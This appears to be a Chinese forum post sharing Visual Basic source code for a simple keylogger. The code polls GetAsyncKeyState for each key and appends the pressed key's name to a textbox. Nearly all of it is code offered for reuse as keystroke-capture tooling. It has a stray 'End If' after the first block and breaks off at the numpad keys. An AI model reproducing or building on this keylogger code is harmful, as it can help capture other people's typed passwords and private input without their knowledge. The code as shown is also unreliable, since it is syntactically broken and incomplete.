- 贝勒
-
vb制作键盘记录器(开源代码)这个是我几个月前写的给大家共享下,语言:vb。原理是利用GetAsyncKeyState函数来判断某个键
是否被按下。如果按下就啊text上面显示被按下的键
新建个模块添加代码源码如下
Public Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer
Public Sub Key_Eye()
If GetAsyncKeyState(vbKeyCancel) Then
Form1.Text1.Text = Form1.Text1.Text & "CANCEL 键 "
End If
End If
If GetAsyncKeyState(vbKeyBack) Then
Form1.Text1.Text = Form1.Text1.Text & "BACKSPACE 键 "
End If
If GetAsyncKeyState(vbKeyTab) Then
Form1.Text1.Text = Form1.Text1.Text & "TAB 键 "
End If
If GetAsyncKeyState(vbKeyClear) Then
Form1.Text1.Text = Form1.Text1.Text & "CLEAR 键 "
End If
If GetAsyncKeyState(vbKeyReturn) Then
Form1.Text1.Text = Form1.Text1.Text & vbCrLf
End If
If GetAsyncKeyState(vbKeyShift) Then
Form1.Text1.Text = Form1.Text1.Text & "SHIFT 键 "
End If
If GetAsyncKeyState(vbKeyControl) Then
Form1.Text1.Text = Form1.Text1.Text & "CTRL 键 "
End If
If GetAsyncKeyState(vbKeyMenu) Then
Form1.Text1.Text = Form1.Text1.Text & "ALT 键 "
End If
If GetAsyncKeyState(vbKeyPause) Then
Form1.Text1.Text = Form1.Text1.Text & "PAUSE 键 "
End If
If GetAsyncKeyState(vbKeyCapital) Then
Form1.Text1.Text = Form1.Text1.Text & "CAPS LOCK 键 "
End If
If GetAsyncKeyState(vbKeyEscape) Then
Form1.Text1.Text = Form1.Text1.Text & "ESC 键 "
End If
If GetAsyncKeyState(vbKeySpace) Then
Form1.Text1.Text = Form1.Text1.Text & " "
End If
If GetAsyncKeyState(vbKeyPageUp) Then
Form1.Text1.Text = Form1.Text1.Text & "PAGE UP 键 "
End If
If GetAsyncKeyState(vbKeyPageDown) Then
Form1.Text1.Text = Form1.Text1.Text & "PAGE DOWN 键 "
End If
If GetAsyncKeyState(vbKeyEnd) Then
Form1.Text1.Text = Form1.Text1.Text & "END 键 "
End If
If GetAsyncKeyState(vbKeyHome) Then
Form1.Text1.Text = Form1.Text1.Text & "HOME 键 "
End If
If GetAsyncKeyState(vbKeyLeft) Then
Form1.Text1.Text = Form1.Text1.Text & "LEFT ARROW 键 "
End If
If GetAsyncKeyState(vbKeyUp) Then
Form1.Text1.Text = Form1.Text1.Text & "UP ARROW 键 "
End If
If GetAsyncKeyState(vbKeyRight) Then
Form1.Text1.Text = Form1.Text1.Text & "RIGHT ARROW 键 "
End If
If GetAsyncKeyState(vbKeyDown) Then
Form1.Text1.Text = Form1.Text1.Text & "DOWN ARROW 键 "
End If
If GetAsyncKeyState(vbKeySelect) Then
Form1.Text1.Text = Form1.Text1.Text & "SELECT 键 "
End If
If GetAsyncKeyState(vbKeyPrint) Then
Form1.Text1.Text = Form1.Text1.Text & "PRINT SCREEN 键 "
End If
If GetAsyncKeyState(vbKeyExecute) Then
Form1.Text1.Text = Form1.Text1.Text & "EXECUTE 键 "
End If
If GetAsyncKeyState(vbKeySnapshot) Then
Form1.Text1.Text = Form1.Text1.Text & "SNAPSHOT 键 "
End If
If GetAsyncKeyState(vbKeyInsert) Then
Form1.Text1.Text = Form1.Text1.Text & "INSERT 键 "
End If
If GetAsyncKeyState(vbKeyDelete) Then
Form1.Text1.Text = Form1.Text1.Text & "DELETE 键 "
End If
If GetAsyncKeyState(vbKeyHelp) Then
Form1.Text1.Text = Form1.Text1.Text & "HELP 键 "
End If
If GetAsyncKeyState(vbKeyNumlock) Then
Form1.Text1.Text = Form1.Text1.Text & "NUM LOCK 键 "
End If
If GetAsyncKeyState(65) Then
Form1.Text1.Text = Form1.Text1.Text & "a"
End If
If GetAsyncKeyState(66) Then
Form1.Text1.Text = Form1.Text1.Text & "b"
End If
If GetAsyncKeyState(67) Then
Form1.Text1.Text = Form1.Text1.Text & "c"
End If
If GetAsyncKeyState(68) Then
Form1.Text1.Text = Form1.Text1.Text & "d"
End If
If GetAsyncKeyState(69) Then
Form1.Text1.Text = Form1.Text1.Text & "e"
End If
If GetAsyncKeyState(70) Then
Form1.Text1.Text = Form1.Text1.Text & "f"
End If
If GetAsyncKeyState(71) Then
Form1.Text1.Text = Form1.Text1.Text & "g"
End If
If GetAsyncKeyState(72) Then
Form1.Text1.Text = Form1.Text1.Text & "h"
End If
If GetAsyncKeyState(73) Then
Form1.Text1.Text = Form1.Text1.Text & "i"
End If
If GetAsyncKeyState(74) Then
Form1.Text1.Text = Form1.Text1.Text & "j"
End If
If GetAsyncKeyState(75) Then
Form1.Text1.Text = Form1.Text1.Text & "k"
End If
If GetAsyncKeyState(76) Then
Form1.Text1.Text = Form1.Text1.Text & "l"
End If
If GetAsyncKeyState(77) Then
Form1.Text1.Text = Form1.Text1.Text & "m"
End If
If GetAsyncKeyState(78) Then
Form1.Text1.Text = Form1.Text1.Text & "n"
End If
If GetAsyncKeyState(79) Then
Form1.Text1.Text = Form1.Text1.Text & "o"
End If
If GetAsyncKeyState(80) Then
Form1.Text1.Text = Form1.Text1.Text & "p"
End If
If GetAsyncKeyState(81) Then
Form1.Text1.Text = Form1.Text1.Text & "q"
End If
If GetAsyncKeyState(82) Then
Form1.Text1.Text = Form1.Text1.Text & "r"
End If
If GetAsyncKeyState(83) Then
Form1.Text1.Text = Form1.Text1.Text & "s"
End If
If GetAsyncKeyState(84) Then
Form1.Text1.Text = Form1.Text1.Text & "t"
End If
If GetAsyncKeyState(85) Then
Form1.Text1.Text = Form1.Text1.Text & "u"
End If
If GetAsyncKeyState(86) Then
Form1.Text1.Text = Form1.Text1.Text & "v"
End If
If GetAsyncKeyState(87) Then
Form1.Text1.Text = Form1.Text1.Text & "w"
End If
If GetAsyncKeyState(88) Then
Form1.Text1.Text = Form1.Text1.Text & "x"
End If
If GetAsyncKeyState(89) Then
Form1.Text1.Text = Form1.Text1.Text & "y"
End If
If GetAsyncKeyState(90) Then
Form1.Text1.Text = Form1.Text1.Text & "z"
End If
If GetAsyncKeyState(48) Then
Form1.Text1.Text = Form1.Text1.Text & "0"
End If
If GetAsyncKeyState(49) Then
Form1.Text1.Text = Form1.Text1.Text & "1"
End If
If GetAsyncKeyState(50) Then
Form1.Text1.Text = Form1.Text1.Text & "2"
End If
If GetAsyncKeyState(51) Then
Form1.Text1.Text = Form1.Text1.Text & "3"
End If
If GetAsyncKeyState(52) Then
Form1.Text1.Text = Form1.Text1.Text & "4"
End If
If GetAsyncKeyState(53) Then
Form1.Text1.Text = Form1.Text1.Text & "5"
End If
If GetAsyncKeyState(54) Then
Form1.Text1.Text = Form1.Text1.Text & "6"
End If
If GetAsyncKeyState(55) Then
Form1.Text1.Text = Form1.Text1.Text & "7"
End If
If GetAsyncKeyState(56) Then
Form1.Text1.Text = Form1.Text1.Text & "8"
End If
If GetAsyncKeyState(57) Then
Form1.Text1.Text = Form1.Text1.Text & "9"
End If
If GetAsyncKeyState(vbKeyNumpad0) Then
Form1.Text1.Text = Form1.Text1.Text & "0"
End If
If GetAsyncKeyState(vbKeyNumpad1) Then
Form1.Text1.Text = Form1.Text1.Text & "1"
End If
If GetAsyncKeyState(vbKeyNumpad2) Then
Form1.Text1.Text = Form1.Text1.Text & "2"
End If
If GetAsyncKeyState(vbKeyNumpad3) Then
Form1.Text1.Text = Form1.Text1.Text & "3"
End If
If GetAsyncKeyState(vbKeyNumpad4) Then
Form1.Text1.Text = Form1.Text1.Text & "4"
End If